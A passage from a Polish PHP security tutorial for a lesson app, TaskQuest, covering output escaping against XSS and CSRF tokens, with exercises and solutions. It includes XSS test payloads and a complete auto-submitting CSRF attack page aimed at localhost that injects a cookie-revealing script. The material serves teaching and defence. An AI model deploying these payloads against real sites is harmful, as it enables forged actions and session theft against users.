<li><strong>Nie escapujemy przed zapisem do bazy.</strong> Baza przechowuje to, co wpisał gracz. Escapowanie to sprawa HTML, a te same dane mogą kiedyś trafić gdzie indziej (np. do pliku CSV albo aplikacji mobilnej). Co się dzieje, gdy escapuje się dwa razy, pokaże Eksperyment 3.</li>



<li><strong>Escapujemy na samym końcu</strong>, po wszystkich innych zmianach tekstu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">wyczyscTytul()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">skrocOpis()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mb_substr()</code>). Dlaczego kolejność ma znaczenie, pokaże Eksperyment 2.</li>
</ul>



<h3 class="wp-block-heading">Typowe błędy</h3>



<ul class="wp-block-list">
<li>Escapowanie w getterze (<code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytul()</code> zwraca już <code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;lt;...</code>) — obiekt przestaje przechowywać prawdziwe dane, a każde inne użycie (porównanie, długość, zapis) dostaje encje.</li>



<li>Escapowanie tylko treści między znacznikami, a pominięcie atrybutów <code class="prettyprint lang-sql" style="font-size: 0.85em;">value="..."</code>. Cudzysłów w danych „urywa” atrybut (Eksperyment 5 z L13).</li>



<li>Założenie, że skoro login przeszedł <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code>, to każdy login w bazie jest bezpieczny. Do bazy można wpisać dane z pominięciem formularza (phpMyAdmin, inny program, przyszły błąd). Escapowanie przy wyświetlaniu nic nie kosztuje.</li>
</ul>



<h2 class="wp-block-heading">4.3 SAMODZIELNIE — audyt wyświetlania</h2>



<p class="wp-block-paragraph">W plikach <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code> znajdź <strong>każde</strong> miejsce, w którym do HTML trafia wartość. Przy każdym zdecyduj, czy wymaga <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>, i popraw te, które wymagają.</p>



<p class="wp-block-paragraph">Sposób sprawdzenia: dodaj zadanie z tytułem <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;img src="x" onerror="alert(1)"&gt;</code> i opisem <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;b&gt;pogrubione?&lt;/b&gt;</code>. Na liście nie wyskakuje okienko, a tytuł i opis widać dosłownie ze znacznikami. Działa też „najpilniejsze zadanie”.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Szukaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?=</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code>. Przy każdym zadaj pytanie: „czy tę wartość w całości napisałam/napisałem w kodzie? Czy to na pewno <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>?”. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> jest takich miejsc <strong>ponad 10</strong> (łącznie z rankingiem, powitaniem i literą avatara). Nie zapomnij o atrybutach <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> i o <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;textarea&gt;</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<p class="wp-block-paragraph">Wywołanie obejmuje <strong>wynik</strong> wszystkich innych funkcji:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?= htmlspecialchars(skrocOpis($zadanie-&gt;pobierzOpis())); ?&gt;</code></pre>



<p class="wp-block-paragraph">Komunikat wyjątku też jest tekstem spoza kodu. Może zawierać fragment danych albo zapytania:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?= htmlspecialchars($bladZapisu); ?&gt;</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Plik</th><th>Miejsce</th><th>Escapujemy?</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>ramka awarii bazy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladBazy</code></td><td><strong>tak</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>litera avatara: <code class="prettyprint lang-sql" style="font-size: 0.85em;">mb_substr($uzytkownik-&gt;pobierzImie(), 0, 1)</code></td><td><strong>tak</strong> (cały wynik <code class="prettyprint lang-sql" style="font-size: 0.85em;">mb_substr</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">src</code> avatara: <code class="prettyprint lang-sql" style="font-size: 0.85em;">KATALOG_AVATAROW . '/' . $uzytkownik-&gt;pobierzAvatar()</code></td><td><strong>tak</strong> (nazwa pliku pochodzi z bazy)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>„Witaj, &#8230;!”: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;pobierzImie()</code></td><td><strong>tak</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>„Zalogowano jako &#8230;”: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;pobierzLogin()</code></td><td><strong>tak</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>tytuł najpilniejszego zadania</td><td><strong>tak</strong> (po <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyczyscTytul()</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>w pętli listy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytulCzysty</code>, skrócony opis, termin</td><td><strong>tak</strong> (tytuł i opis po czyszczeniu i skracaniu)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>ranking: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$gracz['login']</code></td><td><strong>tak</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$komunikat</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$filtr</code>, XP, poziom, streak, <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> w ukrytych polach, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$liczba...</code>, komunikat terminu</td><td>nie — tekst z kodu, wartość zawężona do listy albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> tytułu, <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> terminu, <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> XP, treść <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;textarea&gt;</code></td><td><strong>tak</strong> (to tekst wpisany przez użytkownika, jeszcze przed walidacją)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZapisu</code></td><td><strong>tak</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$blad</code> w liście błędów</td><td>nie — komunikaty z <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> są wpisane w kod</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> loginu, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladBazy</code></td><td><strong>tak</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZapisu</code></td><td><strong>tak</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code></td><td>komunikat wyjątku w ramce awarii</td><td><strong>tak</strong></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Przykład dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> (atrybut <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code>):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="text" id="tytul" name="tytul" maxlength="100" value="&lt;?= htmlspecialchars($tytulZadania); ?&gt;" required&gt;</code></pre>



<p class="wp-block-paragraph">Przykład dla pętli listy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>: w miejscu, w którym wyświetlasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytulCzysty</code>, zamień <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?= $tytulCzysty; ?&gt;</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?= htmlspecialchars($tytulCzysty); ?&gt;</code>. Termin (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;pobierzTermin()</code>) formalnie nie wymaga escapowania, bo kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code> przechowuje tylko cyfry i myślniki (pytanie kontrolne 3). Escapujemy go mimo to, żeby w pętli listy nie było wyjątków od reguły.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;pobierzTytul()</code> nadal zwraca surowy tytuł. Zmieniło się tylko to, <strong>jak go wyświetlamy</strong>.</p>
</blockquote>
</details>



<h1 class="wp-block-heading">5. Atak 3: CSRF</h1>



<h2 class="wp-block-heading">5.1 Na czym polega atak</h2>



<p class="wp-block-paragraph">CSRF (<em>cross-site request forgery</em>) to podrobione żądanie z innej strony. Przeglądarka dołącza ciasteczka TaskQuest do <strong>każdego</strong> żądania wysłanego do TaskQuest, także takiego, które wysłała cudza strona. PHP widzi poprawną sesję Kamy i wykonuje polecenie, choć Kama niczego nie kliknęła.</p>



<p class="wp-block-paragraph">Właśnie dlatego od Lekcji 13 zmiany danych wykonujemy wyłącznie przez POST. Link GET (<code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php?id=5</code>) dałoby się uruchomić nawet obrazkiem na forum. POST wymaga formularza, ale formularz też można podrobić.</p>



<p class="wp-block-paragraph"><strong>Zaatakuj TaskQuest.</strong> Utwórz plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak.html</code> <strong>poza</strong> katalogiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">htdocs</code>, np. na pulpicie. To „obca strona”, np. link wysłany graczowi z obietnicą darmowych punktów:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Darmowe XP!&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Odbierz darmowe 1000 XP!&lt;/h1&gt;

    &lt;form id="atak" method="post" action="http://localhost/taskquest/dodaj-zadanie.php"&gt;
        &lt;input type="hidden" name="tytul" value='&lt;img src="x" onerror="alert(document.cookie)"&gt;'&gt;
        &lt;input type="hidden" name="opis" value=""&gt;
        &lt;input type="hidden" name="termin" value="2026-12-31"&gt;
        &lt;input type="hidden" name="xp" value="100"&gt;
    &lt;/form&gt;

    &lt;script&gt;
        document.getElementById('atak').submit();
    &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph">(Jeśli Twój projekt leży pod innym adresem niż <code class="prettyprint lang-sql" style="font-size: 0.85em;">localhost/taskquest</code>, popraw <code class="prettyprint lang-sql" style="font-size: 0.85em;">action</code>.)</p>



<ol class="wp-block-list">
<li>W <strong>Firefoksie</strong> zaloguj się jako Kama.</li>



<li>W tym samym Firefoksie otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak.html</code> (przeciągnij plik do okna przeglądarki).</li>



<li>Strona sama wysyła formularz. Lądujesz na liście zadań Kamy, a na liście jest nowe zadanie, którego Kama nie dodawała.</li>
</ol>



<p class="wp-block-paragraph">Tytuł zadania to kod ataku XSS. Po naprawie z sekcji 4 wyświetla się jako zwykły tekst. <strong>Bez tej naprawy</strong> w tym momencie wyskoczyłoby okienko z ciasteczkiem sesji Kamy: obca strona wstawia skrypt, a skrypt wykrada sesję. Tak łączą się oba ataki.</p>



<p class="wp-block-paragraph">Usuń podrzucone zadanie.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Dlaczego Firefox?</strong> Chrome i Edge traktują ciasteczko bez ustawienia <code class="prettyprint lang-sql" style="font-size: 0.85em;">SameSite</code> tak, jakby miało <code class="prettyprint lang-sql" style="font-size: 0.85em;">SameSite=Lax</code>. Takie ciasteczko nie jest dołączane do formularza POST wysłanego z innej strony, z jednym wyjątkiem: przez 2 minuty od ustawienia ciasteczka. W Chrome atak zadziała więc tylko tuż po zalogowaniu. Firefox i Safari domyślnie tak nie robią. Zachowanie przeglądarek się zmienia, a starsze przeglądarki nie mają tej ochrony wcale. Dlatego aplikacja <strong>nie może</strong> na nią liczyć i musi bronić się sama.</p>
</blockquote>



<h2 class="wp-block-heading">5.2 Nowy mechanizm: token CSRF</h2>



<p class="wp-block-paragraph">Pomysł jest prosty. Przy każdym formularzu TaskQuest dołącza ukryte pole z losowym, długim tekstem: <strong>tokenem</strong>. Ten sam token jest zapisany w sesji gracza. Po wysłaniu formularza PHP porównuje oba. Zgadzają się, więc formularz pochodzi z TaskQuest. Nie zgadzają się albo tokenu nie ma, więc formularz jest odrzucany.</p>



<p class="wp-block-paragraph">Obca strona nie zna tokenu. Nie może go odgadnąć, bo jest losowy i długi. Nie może też go odczytać, bo przeglądarka nie pozwala skryptom jednej strony czytać zawartości innej strony (zasada tego samego pochodzenia, <em>same-origin policy</em>).</p>



<p class="wp-block-paragraph">Potrzebne funkcje (brudnopis <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis2.php</code>, pod poprzednim kodem):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$token = bin2hex(random_bytes(32));
echo '&lt;p&gt;Token: ' . $token . '&lt;/p&gt;';

var_dump(hash_equals($token, $token));
var_dump(hash_equals($token, 'zgaduje'));</code></pre>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">random_bytes(32)</code> zwraca 32 losowe bajty z generatora przeznaczonego do zabezpieczeń. <code class="prettyprint lang-sql" style="font-size: 0.85em;">rand()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mt_rand()</code> czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">uniqid()</code> się do tego nie nadają, bo ich wyniki da się przewidzieć.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">bin2hex()</code> zamienia bajty na tekst z cyframi <code class="prettyprint lang-sql" style="font-size: 0.85em;">0–9</code> i literami <code class="prettyprint lang-sql" style="font-size: 0.85em;">a–f</code>. 32 bajty dają 64 znaki. Taki tekst bezpiecznie wstawisz do HTML, nawet bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">hash_equals($znany, $podany)</code> porównuje dwa teksty. Działa jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">===</code>, ale zawsze sprawdza <strong>wszystkie</strong> znaki. <code class="prettyprint lang-sql" style="font-size: 0.85em;">===</code> kończy przy pierwszej różnicy, więc z czasu odpowiedzi dałoby się zgadywać token znak po znaku.</li>
</ul>



<p class="wp-block-paragraph">Odśwież brudnopis kilka razy. Token za każdym razem jest inny.</p>



<p class="wp-block-paragraph"><strong>Decyzja TaskQuest:</strong> jeden token na sesję. Powstaje przy pierwszym formularzu i obowiązuje do wylogowania. Token osobny dla każdego formularza jest trochę bezpieczniejszy, ale psuje pracę w kilku kartach naraz.</p>



<h2 class="wp-block-heading">5.3 SAMODZIELNIE — funkcje tokenu</h2>



<p class="wp-block-paragraph">Na końcu pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code> dopisz dwie funkcje:</p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTokenCsrf(): string</code> — jeśli w sesji nie ma jeszcze klucza <code class="prettyprint lang-sql" style="font-size: 0.85em;">'token_csrf'</code>, zapisuje tam nowy token (64 znaki, jak w brudnopisie). Zwraca token z sesji.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzTokenCsrf(): bool</code> — odczytuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['token_csrf']</code> (brak pola traktuje jak pusty tekst). Zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> tylko wtedy, gdy w sesji <strong>jest</strong> token i jest on równy tokenowi z formularza.</li>
</ol>



<p class="wp-block-paragraph">Tak jak pozostałe funkcje w tym pliku, obie korzystają z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code>, ale jej nie uruchamiają.</p>



<p class="wp-block-paragraph">Sprawdź w brudnopisie (z <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> na początku i <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_sesji.php</code>):</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Sytuacja</th><th>Oczekiwany wynik <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzTokenCsrf()</code></th></tr></thead><tbody><tr><td>brak tokenu w sesji, brak pola w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['token_csrf'] = pobierzTokenCsrf();</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['token_csrf'] = 'abc';</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td></tr></tbody></table></figure>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Pułapka jest w pierwszej sytuacji. W sesji nie ma tokenu (np. sesja wygasła), więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['token_csrf']</code> nie istnieje. PHP wypisze ostrzeżenie, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">hash_equals()</code> dostanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> i przerwie skrypt błędem <code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code>. Samo porównanie nie wystarczy. Najpierw sprawdź, czy token w sesji w ogóle istnieje (<code class="prettyprint lang-sql" style="font-size: 0.85em;">isset()</code>).</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function sprawdzTokenCsrf(): bool
{
    $tokenZFormularza = $_POST&#91;'token_csrf'] ?? '';

    if (/* w sesji nie ma tokenu */ || !is_string($tokenZFormularza)) {
        return false;
    }

    return hash_equals(...);
}</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">is_string()</code> chroni przed przesłaniem pola jako tablicy (<code class="prettyprint lang-sql" style="font-size: 0.85em;">token_csrf[]=...</code>). <code class="prettyprint lang-sql" style="font-size: 0.85em;">hash_equals()</code> dostałaby wtedy tablicę i przerwałaby skrypt błędem <code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function pobierzTokenCsrf(): string
{
    if (!isset($_SESSION&#91;'token_csrf'])) {
        $_SESSION&#91;'token_csrf'] = bin2hex(random_bytes(32));
    }

    return $_SESSION&#91;'token_csrf'];
}

function sprawdzTokenCsrf(): bool
{
    $tokenZFormularza = $_POST&#91;'token_csrf'] ?? '';

    if (!isset($_SESSION&#91;'token_csrf']) || !is_string($tokenZFormularza)) {
        return false;
    }

    return hash_equals($_SESSION&#91;'token_csrf'], $tokenZFormularza);
}</code></pre>
</details>



<h2 class="wp-block-heading">5.4 Włączamy token do TaskQuest</h2>



<h3 class="wp-block-heading">Krok 1 — token w formularzach</h3>



<p class="wp-block-paragraph">Na każdej stronie z formularzem POST, <strong>tuż przed</strong> linią <code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwaStrony = ...</code>, dodaj:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$tokenCsrf = pobierzTokenCsrf();</code></pre>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> wstaw tę linię pod blokiem komunikatu jednorazowego (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$komunikat = pobierzKomunikat();</code>), z komentarzem <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- token CSRF do formularzy na stronie ---</code>.</p>



<p class="wp-block-paragraph">Następnie w <strong>każdym</strong> formularzu POST, zaraz po otwierającym <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form ...&gt;</code>, dodaj ukryte pole <code class="prettyprint lang-sql" style="font-size: 0.85em;">token_csrf</code> z wartością <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tokenCsrf</code> (wzór ukrytego pola znasz z przycisków „Zrobione!” i „Usuń”):</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Plik</th><th>Formularze</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>„Zrobione!”, „Usuń” (w pętli, przy każdym zadaniu), „Wyloguj”</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></td><td>formularz nowego zadania</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code></td><td>formularz avatara</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></td><td>zrobisz w sekcji 6</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Sprawdzenie: na liście zadań otwórz źródło strony (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Ctrl+U</code>). Każdy formularz ma pole <code class="prettyprint lang-sql" style="font-size: 0.85em;">token_csrf</code> i <strong>ta sama</strong> wartość powtarza się we wszystkich.</p>



<h3 class="wp-block-heading">Krok 2 — sprawdzanie tokenu</h3>



<p class="wp-block-paragraph">Są dwa rodzaje stron przyjmujących POST, więc są dwa sposoby reagowania na zły token.</p>



<p class="wp-block-paragraph"><strong>Strona z formularzem</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, później <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">rejestracja.php</code>) pokazuje formularz jeszcze raz z komunikatem na liście <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code>. W bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_SERVER['REQUEST_METHOD'] === 'POST')</code>, po odczycie pól, linię z walidacją (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy = walidujNoweZadanie(...);</code>) umieść w gałęzi <code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">jeśli token jest zły → do $bledy dopisz 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.'
w przeciwnym razie   → dotychczasowa walidacja</code></pre>



<p class="wp-block-paragraph">Dalsza część (<code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($bledy === []) { ... zapis ... }</code>) zostaje bez zmian. Pola zachowują wpisane dane, więc gracz musi tylko kliknąć jeszcze raz.</p>



<p class="wp-block-paragraph"><strong>Strona akcji</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code>) nie ma HTML. Zaraz <strong>po</strong> sprawdzeniu, że metoda to POST, a <strong>przed</strong> odczytem <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, dodaj:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">jeśli token jest zły → ustawKomunikat('Nie udało się wykonać akcji. Spróbuj jeszcze raz.'),
                       przekierowanie na index.php, exit</code></pre>



<p class="wp-block-paragraph">Najpierw token, dopiero potem dane z formularza. Żądanie spoza TaskQuest odrzucamy, zanim cokolwiek z nim zrobimy.</p>



<p class="wp-block-paragraph"><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code></strong> — to też strona akcji, ale do tej pory nie dołączała żadnego pliku. Dodaj pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start();</code> dołączenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code>. Przy złym tokenie przekieruj na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> bez wylogowania i bez komunikatu.</p>



<p class="wp-block-paragraph"><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code></strong> — uwaga na kolejność. Gdy plik przekroczy <code class="prettyprint lang-sql" style="font-size: 0.85em;">post_max_size</code>, PHP odrzuca <strong>całe</strong> żądanie: puste jest wtedy nie tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code>, ale też <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>, więc tokenu też nie ma. Gdyby token był sprawdzany jako pierwszy, gracz z za dużym plikiem zobaczyłby mylący komunikat o wygasłym formularzu. Kolejność w <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$plik === null        → 'Plik jest za duży albo nie został wysłany.'   (jak w L21)
w przeciwnym razie, jeśli token jest zły → komunikat o wygasłym formularzu
w przeciwnym razie    → walidujAvatar($plik)</code></pre>



<p class="wp-block-paragraph">Pełne wersje: sekcja 11 (<code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code> w całości, pozostałe pliki opisane miejscami zmian).</p>



<h3 class="wp-block-heading">Krok 3 — sprawdzenie</h3>



<ol class="wp-block-list">
<li>Normalna praca: dodaj zadanie, oznacz je jako zrobione, usuń je, zmień avatar, wyloguj się i zaloguj ponownie (logowanie jeszcze bez tokenu). Wszystko działa jak przed lekcją.</li>



<li>Atak: zaloguj się w Firefoksie jako Kama i otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak.html</code>. Tym razem widzisz formularz „Nowe zadanie” z komunikatem „Formularz wygasł albo nie pochodzi z TaskQuest&#8230;”. Zadanie <strong>nie zostało</strong> dodane.</li>
</ol>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Dodatkowy efekt: token obowiązuje tylko w jednej sesji. Formularz otwarty przed wylogowaniem i wysłany po ponownym zalogowaniu też zostanie odrzucony. To zamierzone.</p>
</blockquote>



<h1 class="wp-block-heading">6. Atak 4: wejście na cudze konto — hasła</h1>



<h2 class="wp-block-heading">6.1 Problem</h2>



